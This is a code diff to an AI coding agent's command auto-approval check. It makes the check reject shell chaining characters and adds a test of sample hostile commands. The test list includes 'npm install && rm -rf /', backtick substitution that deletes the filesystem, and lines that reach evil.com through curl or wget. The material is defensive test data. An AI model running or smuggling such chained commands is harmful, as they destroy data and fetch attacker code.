diff --git a/src/core/Cline.ts b/src/core/Cline.ts index d6f1ac3..5da6f51 100644 --- a/src/core/Cline.ts +++ b/src/core/Cline.ts @@ -134,7 +134,18 @@ export class Cline { } protected isAllowedCommand(command?: string): boolean { - if (!command) return false; + if (!command) { + return false; + } + // Check for command chaining characters + if (command.includes('&&') || + command.includes(';') || + command.includes('||') || + command.includes('|') || + command.includes('$(') || + command.includes('`')) { + return false; + } const trimmedCommand = command.trim().toLowerCase(); return ALLOWED_AUTO_EXECUTE_COMMANDS.some(prefix => trimmedCommand.startsWith(prefix.toLowerCase()) diff --git a/src/core/__tests__/Cline.test.ts b/src/core/__tests__/Cline.test.ts index fd2b3e9..e02be1c 100644 --- a/src/core/__tests__/Cline.test.ts +++ b/src/core/__tests__/Cline.test.ts @@ -388,5 +388,23 @@ describe('Cline', () => { expect(cline.isAllowedCommand('')).toBe(false) expect(cline.isAllowedCommand(' ')).toBe(false) }) + + test('returns false for commands with chaining operators', () => { + const maliciousCommands = [ + 'npm install && rm -rf /', + 'git status; dangerous-command', + 'git log || evil-script', + 'git status | malicious-pipe', + 'git log $(evil-command)', + 'git status `rm -rf /`', + 'npm install && echo "malicious"', + 'git status; curl http://evil.com', + 'tsc --watch || wget malware', + ]; + + maliciousCommands.forEach(cmd => { + expect(cline.isAllowedCommand(cmd)).toBe(false); + }); + }); }) });